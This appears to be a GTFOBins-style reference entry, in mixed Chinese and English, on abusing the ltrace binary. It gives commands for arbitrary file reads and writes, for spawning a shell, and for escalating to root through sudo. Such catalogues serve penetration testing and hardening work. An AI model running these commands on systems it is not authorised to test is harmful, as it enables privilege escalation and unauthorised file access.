.. / ltrace

file-read

从文件中读取数据。

• The file is parsed as a configuration file and its content is shown as error messages, thus this is not suitable to exfiltrate binary files.

  LFILE=要读取的文件路径
  ltrace -F $LFILE /dev/null
  

file-write

将数据写入文件中。

• The data to be written appears amid the library function call log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever library function call passing arbitrary data can be used in place of ltrace -F DATA.

  LFILE=要写入的文件
  ltrace -s 999 -o $LFILE ltrace -F DATA
  

shell

用来生成一个交互式的系统shell。

• ltrace -b -L /bin/sh

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• sudo ltrace -b -L /bin/sh